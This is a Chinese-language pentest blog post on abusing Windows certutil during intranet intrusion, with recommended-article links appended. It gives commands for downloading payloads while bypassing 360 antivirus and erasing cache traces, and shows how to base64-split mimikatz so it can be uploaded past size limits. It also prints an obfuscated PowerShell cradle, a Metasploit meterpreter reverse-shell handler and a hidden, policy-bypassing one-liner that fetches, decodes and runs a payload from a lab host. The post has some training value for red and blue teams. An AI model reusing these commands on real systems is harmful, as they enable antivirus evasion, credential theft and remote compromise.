关于certutil的探究-文件下载+编码分块上传上传文件再合并
何为certutil
certutil.exe
是一个合法Windows文件,用于管理Windows证书的程序。
微软官方是这样对它解释的:
Certutil.exe是一个命令行程序,作为证书服务的一部分安装。您可以使用Certutil.exe转储和显示证书颁发机构(CA)配置信息,配置证书服务,备份和还原CA组件以及验证证书,密钥对和证书链。
但是此合法Windows服务现已被广泛滥用于恶意用途。
渗透中主要利用其 下载
、编码
、解码
、替代数据流
等功能。
这里我首先在命令行用certutil -?
查看一下certutil
所有的参数,这里只截图了一部分,接下来就总结一下最常用的几个关于certutil
在内网渗透中的应用。
certutil下载文件
一般我最常使用的certutil
的功能就是在cmd环境下下载文件,因为certutil
是windows自带的exe,所以在使用的时候会比其他exe或者vbs更加方便。但是因为在下载文件的过程中也会创建进程,所以也遭到了各大杀软的拦截。
一般使用certutil
下载文件的命令为
certutil -urlcache -split -f http://ip/artifact.exe
这里介绍一下参数
-f
覆盖现有文件。
有值的命令行选项。后面跟要下载的文件 url。-split
保存到文件。
无值的命令行选项。加了的话就可以下载到当前路径,不加就下载到了默认路径。-URLCache
显示或删除URL缓存条目。
无值的命令行选项。
(certutil.exe 下载有个弊端,它的每一次下载都有留有缓存。)
这里我在本地搭建一个http服务器,然后在配置了360的虚拟机cmd下进行下载
这里我为了更好的还原环境,先与虚拟机建立ipc连接后用psexec得到了命令行的cmd环境
这里我用常规的命令进行下载exe文件的操作遭到了av的拦截
如果超时没有操作的话就会显示拒绝访问
这里有两种方法对杀软进行certutil
下载绕过,本质都是执行两次certutil
第一种方法是先执行一个单独的certutil
,然后再执行下载exe的命令,可以看到这里已经能够成功下载
certutil
certutil -urlcache -split -f http://ip/artifact.exe
另外一种方法就是使用windows自带的分隔符&
和|
,本质上跟第一种方法一样,相当于执行了两次certutil
certutil & certutil -urlcache -split -f http://ip/artifact.exe
certutil | certutil -urlcache -split -f http://ip/artifact.exe
这里也可以进行文件的重命名,如果你觉得这个文件名太过于明显容易被管理员发现就可以在下载的时候使用自己设置的名字生成exe
certutil & certutil -urlcache -split -f http://172.20.10.4:8000/artifact.exe nice.exe
使用certutil
下载文件有个弊端就是会产生缓存文件,用如下命令查看:
certutil -urlcache *
执行删除缓存
certutil -urlcache * delete
这里如果嫌麻烦的话可以在下载文件的时候加上一个delete
参数,这样就省去了后面再来清理缓存的麻烦
certutil & certutil -urlcache -split -f http://172.20.10.4:8000/artifact.exe delete
certutil base64加解密
之前在实战中就碰到过需要进行内网穿透的时候,代理软件上传不到靶机的情况
这里我上传图片测试能够上传成功
本地也能够下载下来,但是就是到靶机上下载不下来,这里我判断应该是有av对上传文件大小进行了限制。这时候就可以使用certutil
的encode
和decode
进行加解密。
certutil
在内网渗透中进行base64编码是比较常用的。我们知道在内网中需要用到内网代理,一般都会用到nps或者frp,但是如果碰到有杀软限制上传文件大小的情况,这时候我们就可以使用先用encode编码分块上传再使用decode解密。
使用encode
进行base64编码,然而大小还变大了,这里就可以考虑分成多块传输后再进行整合
这里我查看了一下生成的mimikatz.txt
有2.7w行,所以这里我将其拆分为三块,这里顺便说一下快速选择大文件的指定行的操作
在notepad++编辑里面点击开始/结束选择
,光标会定位到第一行
再使用ctrl + g
切换到行定位,选择要选中的行,因为这里我拆分成3块,所以这里我选择的是第10000行
再到编辑里面点一下开始/结束选择
即可选中
这里我把mimikatz.txt
拆分成了三个txt进行上传
上传到靶机的C盘目录
这里先把3个txt合并为一个txtmimikatz.txt
copy c:\*txt c:\mimikatz.txt //把c盘根目录下的所有txt合并为mimikatz.txt
然后再使用certutil
的-decode
参数进行解密,生成mimikatz.exe
运行一下看看已经合并成功了
certutil 校验hash值
有些时候官方网站的软件因为一些原因下架的情况下,我们就只能从一些非官方网站下载,而官方通常会把软件的hash值(一般是SHA256)公布出来,这时候我们就可以用certutil校验hash值的功能来检验一个软件是否被其他人修改过。拿原始软件的hash值和现在软件的hash进行比对,使用certutil获取hash值
certutil -hashfile mimikatz.exe MD5 //检验MD5
certutil -hashfile mimikatz.exe SHA1 //检验SHA1
certutil -hashfile mimikatz.exe SHA256 //检验SHA256
这里比较上传前后mimikatz.exe的MD5值
certutil配合powershell内存加载
这里我在本地实验因为环境变量的原因报错,之前在虚拟机实验的时候又忘记截图了,这里还是粗略的写一下大致实现过程
首先修改powershell策略为可执行脚本
下载powershell混淆框架并执行
Import-Module .\Invoke-CradleCrafter.ps1Invoke-CradleCrafter
使用msf生成一个payload,在本地起一个http服务器,放到http服务器的目录下
设置url为http服务器目录
set URL http://172.20.10.4:8000/key.txt
使用以下几个命令进行初始化
Invoke-CradleCrafter> MEMORY
Choose one of the below Memory options:
[*] MEMORY\PSWEBSTRING PS Net.WebClient + DownloadString method
[*] MEMORY\PSWEBDATA PS Net.WebClient + DownloadData method
[*] MEMORY\PSWEBOPENREAD PS Net.WebClient + OpenRead method
[*] MEMORY\NETWEBSTRING .NET [Net.WebClient] + DownloadString method (PS3.0+)
[*] MEMORY\NETWEBDATA .NET [Net.WebClient] + DownloadData method (PS3.0+)
[*] MEMORY\NETWEBOPENREAD .NET [Net.WebClient] + OpenRead method (PS3.0+)
[*] MEMORY\PSWEBREQUEST PS Invoke-WebRequest/IWR (PS3.0+)
[*] MEMORY\PSRESTMETHOD PS Invoke-RestMethod/IRM (PS3.0+)
[*] MEMORY\NETWEBREQUEST .NET [Net.HttpWebRequest] class
[*] MEMORY\PSSENDKEYS PS SendKeys class + Notepad (for the lulz)
[*] MEMORY\PSCOMWORD PS COM object + WinWord.exe
[*] MEMORY\PSCOMEXCEL PS COM object + Excel.exe
[*] MEMORY\PSCOMIE PS COM object + Iexplore.exe
[*] MEMORY\PSCOMMSXML PS COM object + MsXml2.ServerXmlHttp
[*] MEMORY\PSINLINECSHARP PS Add-Type + Inline CSharp
[*] MEMORY\PSCOMPILEDCSHARP .NET [Reflection.Assembly]::Load Pre-Compiled CSharp
[*] MEMORY\CERTUTIL Certutil.exe + -ping Argument
Invoke-CradleCrafter\Memory> CERTUTIL
[*] Name :: Certutil
[*] Description :: PowerShell leveraging certutil.exe to download payload as string
[*] Compatibility :: PS 2.0+
[*] Dependencies :: Certutil.exe
[*] Footprint :: Entirely memory-based
[*] Indicators :: powershell.exe spawns certutil.exe certutil.exe
[*] Artifacts :: C:\Windows\Prefetch\CERTUTIL.EXE-********.pf AppCompat Cache
Invoke-CradleCrafter\Memory\Certutil> ALL
Choose one of the below Memory\Certutil\All options to APPLY to current cradle:
[*] MEMORY\CERTUTIL\ALL\1 Execute ALL Token obfuscation techniques (random order)
到这里应该会显示如下代码
Invoke-CradleCrafter\Memory\Certutil\All> 1 Executed:
CLI: Memory\Certutil\All\1
FULL: Out-Cradle -Url 'http://172.20.10.4/key.txt' -Cradle 17 -TokenArray @('All',1) Result:
SV 1O6 'http://172.20.10.4/key.txt';.(Get-Command *ke-*pr*) ((C:\Windows\System32\certutil /ping (Get-Item Variable:\1O6).Value|&(Get-Variable Ex*xt).Value.InvokeCommand.(((Get-Variable Ex*xt).Value.InvokeCommand.PsObject.Methods|?{(Get-Variable _ -ValueOn).Name-ilike'*and'}).Name).Invoke((Get-Variable Ex*xt).Value.InvokeCommand.(((Get-Variable Ex*xt).Value.InvokeCommand|GM|?{(Get-Variable _ -ValueOn).Name-ilike'*Com*e'}).Name).Invoke('*el*-O*',$TRUE,1),[Management.Automation.CommandTypes]::Cmdlet)-Skip 2|&(Get-Variable Ex*xt).Value.InvokeCommand.(((Get-Variable Ex*xt).Value.InvokeCommand.PsObject.Methods|?{(Get-Variable _ -ValueOn).Name-ilike'*and'}).Name).Invoke((Get-Variable Ex*xt).Value.InvokeCommand.(((Get-Variable Ex*xt).Value.InvokeCommand|GM|?{(Get-Variable _ -ValueOn).Name-ilike'*Com*e'}).Name).Invoke('*el*-O*',$TRUE,1),[Management.Automation.CommandTypes]::Cmdlet)-SkipLa 1)-Join"`r`n") Choose one of the below Memory\Certutil\All options to APPLY to current cradle: [*] MEMORY\CERTUTIL\ALL\1 Execute ALL Token obfuscation techniques (random order)
将混淆的代码保存到本地为crt.txt
用certutil
进行encode
加密
certutil -encode crt.txt crt.cer
将cer.cet
放入http服务器目录下,使用msf开启监听
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 192.168.10.11
lhost => 192.168.10.11
msf6 exploit(multi/handler) > set lport 8888
lport => 8888
msf6 exploit(multi/handler) > run
然后靶机执行如下命令即可获得反弹session
powershell.exe ‐Win hiddeN ‐Exec ByPasS add‐content ‐path %APPDATA%\crt.cer (New‐Object Net.WebClient).DownloadString('http://172.20.10.4/crt.cer'); certutil ‐decode %APPDATA%\crt.cer %APPDATA%\stage.ps1 & start /b c
md /c powershell.exe ‐Exec Bypass ‐NoExit ‐File %APPDATA%\stage.ps1 & start /b cmd /c del %APPDATA%\crt.cer
关于certutil + powershell的实战食用方法这里推荐Y4er师傅的一篇文章:
极限环境使用certutil+PowerShell配合Burp快速落地文件
原文https://xz.aliyun.com/t/9737
关于certutil的探究-文件下载+编码分块上传上传文件再合并的更多相关文章
- Spring MVC-------文件上传,单文件,多文件,文件下载
Spring MVC 框架的文件上传是基于 commons-fileupload 组件的文件上传,只不过 Spring MVC 框架在原有文件上传组件上做了进一步封装,简化了文件上传的代码实现,取消了 ...
- [New Portal]Windows Azure Storage (14) 使用Azure Blob的PutBlock方法,实现文件的分块、离线上传
<Windows Azure Platform 系列文章目录> 相关内容 Windows Azure Platform (二十二) Windows Azure Storage Servic ...
- struts2实现文件上传、多文件上传和文件下载
总结的两个问题,就是struts2上传下载的时候对属性名配置要求非常严格: 第一:上传的时候 private File file; private String fileContentType; pr ...
- SpringMVC单文件上传、多文件上传、文件列表显示、文件下载(转)
林炳文Evankaka原创作品.转载请注明出处http://blog.csdn.net/evankaka 本文详细讲解了SpringMVC实例单文件上传.多文件上传.文件列表显示.文件下载. 本文工程 ...
- 针对个别utf8编码站点在iis7上浏览器编码不能自动识别的解决方法
个别utf8编码站点在iis7上客户端浏览器编码不能自动识别的编号,输入仍为gbk2312,而不是utf-8,这样导致我们看到的网站为乱码. 要解决这个问题,有两个方法,一为打开网站以后,右键,选择编 ...
- [转]SpringMVC单文件上传、多文件上传、文件列表显示、文件下载
一.新建一个Web工程,导入相关的包 springmvc的包+commons-fileupload.jar+connom-io.jar+commons-logging,jar+jstl.jar+sta ...
- 驳《编码规范是技术上的遮羞布》自由发挥==摆脱编码规范?X
引子: 看了一坨文字<编码规范是技术上的遮羞布>,很是上火,见人见智,本是无可厚非,却深感误人子弟者众.原文观点做一个简单的提炼: 1.扔掉编码规范吧,让程序员自由发挥,你会得到更多的好处 ...
- 解惑:如何使用SecureCRT上传和下载文件、SecureFX乱码问题
解惑:如何使用SecureCRT上传和下载文件.SecureFX乱码问题 一.前言 很多时候在windows平台上访问Linux系统的比较好用的工具之一就是SecureCRT了,下面介绍一下这个软件的 ...
- SpringMVC文件上传下载(单文件、多文件)
前言 大家好,我是bigsai,今天我们学习Springmvc的文件上传下载. 文件上传和下载是互联网web应用非常重要的组成部分,它是信息交互传输的重要渠道之一.你可能经常在网页上传下载文件,你可能 ...
- WordPress上传含有中文文件出现乱码
最近打算学习安装配置WordPress,当然同时也在学习PHP+MySQL,希望以后能做一些关于WordPress定制和二次开发,包括主题和插件.在成功安装WordPress3.5中文版之后,就测试了 ...
随机推荐
- 【学习笔记】开源库之 - sigslot (在解决浅拷贝问题的基础上增加信号拦截功能)
前言说明 在文中<[学习笔记]开源库之 - sigslot (提供该库存在对象拷贝崩溃问题的解决方案)>已经介绍过 sigslot ,此文主要应用在实际的工作项目中时,发现会有拦截信号的需 ...
- Spring在Filter中记录Web请求Request和返回Response的内容及时长
1 简介 在Spring MVC中,我们有时需要记录一下请求和返回的内容,方便出现问题时排查.比较Header.Request Body等.这些在Controller也可以记录,但在Filter中会更 ...
- Node.js学习笔记----day03
认真学习,认真记录,每天都要有进步呀!!! 加油叭!!! 一.Node中的模块系统 使用Node编写应用程序主要就是在使用 EcmaScript 和浏览器不一样的是,在Node中没有BOM.DOM 核 ...
- Nginx10 Lua入门 + openresty
1 Idea中创建Lua项目 lua官网:https://www.lua.org/ 1.1 添加插件,重启idea 1.2 创建项目 file-New Project 1.3 创建lua文件 1.4 ...
- Windows IIS下运行.NET Core程序
IIS下运行.NET Core程序 1.服务器上必须要安装 WindowsHosting WindowsHosting 下载地址:https://dotnet.microsoft.com/downlo ...
- ECharts 饼图数据放在饼图内部显示
1.业务需求 将数据显示在饼图内部,格式化百分比显示,鼠标放上去显示具体名称和数值 原样式如下 2.业务实现 调整代码如下,核心语句已标记注释 option = { title: { text: 'R ...
- 【ASP.NET Core】标记帮助器——元素筛选
前一篇中老周从标记帮助的底层介绍关键性的接口,如 ITagHelper ,它是一个标志,用于识别哪些类属于 Tag Helper. 标记帮助器毕竟是针对 HTML 标记的,所以得筛选.说白了就是我写的 ...
- C++ 练习10 动态分配内存
动态分配内存可以使的程序在内存中更加灵活地使用 动态分配数组使用new函数 1 #include <iostream> 2 constexpr auto N = 5; 3 using na ...
- knock:端口敲门服务
knock:端口敲门服务 端口敲门服务,即:knockd服务.该服务通过动态的添加iptables规则来隐藏系统开启的服务,使用自定义的一系列序列号来"敲门",使系统开启需要访问的 ...
- 使用 UnoCSS shortcuts 简化 class
UnoCSS 确实简化了不少样式书写.也降低了 CSS 打包体积,提升了样式使用率.但样式太多的话,class 也写得多,比较费眼.所幸,UnoCSS 提供了 shortcuts 来简化 class, ...